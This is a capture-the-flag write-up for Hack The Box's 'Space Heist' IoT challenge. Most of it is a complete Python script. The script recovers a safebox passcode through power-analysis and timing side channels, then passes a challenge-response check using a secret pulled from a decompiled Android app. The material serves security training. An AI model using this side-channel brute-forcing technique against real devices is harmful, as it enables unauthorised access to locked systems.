Explore the basics of cybersecurity in the Space Heist Challenge on Hack The Box. This medium-level Challenge introduces encryption reversal and file handling concepts in a clear and accessible way, perfect for beginners.

https://app.hackthebox.com/challenges/404

Description#

The final step of this operation is to retrieve the contents of the safebox locked in the next room. It appears the device also has anti-tampering mechanisms that will lock it and destroy its contents, so we must be careful. The team is setting up a remote lab for you to access parts of the device and try to bypass its security mechanism.

Exploitation#

Decompile using http://www.javadecompilers.com/

You will find

private static final String SECRET = "qvb4a1b07E870B";
#!/usr/bin/python3
from typing import List, Tuple, Dict
from dataclasses import dataclass
import socket,struct,hashlib,sys
import matplotlib.pyplot as plt
from time import sleep

@dataclass
class TraceData:
    label: str
    samples: List[float]

class PowerAnalyzer:
    def __init__(self, host: str, port: int, plot_enabled: bool = False):
        self.host = host
        self.port = port
        self.plot_enabled = plot_enabled
        self.valid_chars = "0123456789"
        
    def _recv_bytes(self, conn: socket.socket, n_bytes: int) -> bytes:
        buffer = b''
        while len(buffer) < n_bytes:
            buffer += conn.recv(n_bytes - len(buffer))
        return buffer
    
    def _socket_readline(self, conn: socket.socket) -> bytes:
        buffer = b''
        while True:
            char = self._recv_bytes(conn, 1)
            buffer += char
            if char == b'\n':
                break
        return buffer

    def _recv_trace(self, conn: socket.socket) -> TraceData:
        label_len = struct.unpack("<L", self._recv_bytes(conn, 4))[0]
        label = self._recv_bytes(conn, label_len).decode()
        trace_len = struct.unpack("<L", self._recv_bytes(conn, 4))[0]
        sample_buffer = self._recv_bytes(conn, trace_len * 4)
        samples = [struct.unpack("<f", sample_buffer[i:i+4])[0] 
                  for i in range(0, len(sample_buffer), 4)]
        return TraceData(label, samples)

    def _find_peaks(self, trace: List[float]) -> List[Tuple[int, float]]:
        min_val = min(trace)
        max_val = max(trace)
        threshold = (max_val - min_val) / 2 + min_val
        peaks = []
        state = 0
        for i, value in enumerate(trace):
            if state == 0 and value > threshold:
                state = 1
                peaks.append((i, value))
            elif state == 1 and value < threshold:
                state = 0
        return peaks

    def _calc_delta_peaks(self, peaks: List[Tuple[int, float]]) -> List[int]:
        return [curr[0] - prev[0] for prev, curr in zip([(0, 0)] + peaks[:-1], peaks)]

    def _plot_traces(self, traces: Dict[str, List[float]]):
        plt.figure(figsize=(12, 6))
        colors = {'trace_led_auth': 'r', 'trace_led_unlocked': 'g', 'trace_mcu': 'b'}
        for label, trace in traces.items():
            plt.plot(trace, colors.get(label, 'k'), label=label)
        plt.legend()
        plt.grid(True)
        plt.show(block=True)

    def _run_attempt(self, conn: socket.socket, code: str) -> Dict[str, List[float]]:
        print(f'Attempting code: {code}')
        conn.send(code.encode() + b'\n')
        traces = {}
        for _ in range(3):
            trace_data = self._recv_trace(conn)
            traces[trace_data.label] = trace_data.samples
        return traces

    def analyze_power_trace(self):
        with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as conn:
            conn.connect((self.host, self.port))
            print(self._socket_readline(conn).decode())
            print(self._socket_readline(conn).decode())
            conn.recv(1024)
            conn.send(b'password')
            conn.recv(1024)
            code = ['A']
            last_delta = None
            char_pos = 0
            curr_digit = 0
            while True:
                if curr_digit >= len(self.valid_chars):
                    print(f'Failed to determine char at position {char_pos}')
                    break 
                code[char_pos] = self.valid_chars[curr_digit]
                curr_digit += 1
                traces = self._run_attempt(conn, ''.join(code))
                if self.plot_enabled:
                    self._plot_traces(traces)
                self._socket_readline(conn)
                peaks = self._find_peaks(traces['trace_mcu'])
                delta_peaks = self._calc_delta_peaks(peaks)
                if last_delta is None:
                    last_delta = delta_peaks[-1]
                    continue
                if last_delta - delta_peaks[-1] > 50:
                    min_val = min(traces['trace_led_unlocked'])
                    max_val = max(traces['trace_led_unlocked'])
                    if max_val - min_val > 1:
                        print('Successfully unlocked!')
                        break  
                    last_delta = delta_peaks[-1]
                    char_pos += 1
                    curr_digit = 0
                    code.append('A')
            if self.plot_enabled:
                self._plot_traces(traces)
            return ''.join(code)

    def authenticate(self, code: str, secret: str = "qvb4a1b07E870B"):
        with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as conn:
            conn.connect((self.host, self.port))
            for _ in range(2):
                print(conn.recv(1024).strip().decode())
            conn.send(b'auth')
            for _ in range(2):
                print(conn.recv(1024).strip().decode())
            sleep(0.1)
            conn.send(b'getChallenge')
            response = conn.recv(1024).strip().decode()
            challenge = response.split(":")[1]
            message = challenge + secret
            sha_hash = hashlib.sha1(message.encode()).hexdigest()
            response = f'resp:{challenge}:{sha_hash}'.encode()
            conn.send(response)
            for _ in range(2):
                print(conn.recv(1024).strip().decode())
            conn.send(code.encode())
            for _ in range(2):
                print(conn.recv(1024).strip().decode())

def main():
    if len(sys.argv) < 2:
        print("Usage: python script.py <ip:port> [plt]")
        sys.exit(1) 
    host, port = sys.argv[1].split(":")
    plot_enabled = len(sys.argv) == 3 and sys.argv[2].lower() == 'plt'
    analyzer = PowerAnalyzer(host, int(port), plot_enabled)
    code = analyzer.analyze_power_trace()
    analyzer.authenticate(code)

if __name__ == "__main__":
    main()

Summary#

Space Heist is a medium-level IoT challenge that involves identifying and exploiting side-channel attacks, including timing attacks and power analysis, to retrieve the correct password for a safebox. By automating the visual inspection process using code and monitoring the LED indicator for the unlocked state, we can efficiently recover the passcode and bypass the security mechanisms. Additionally, reverse engineering an Android mobile app is required to complete the two-phase authentication procedure and open the safe.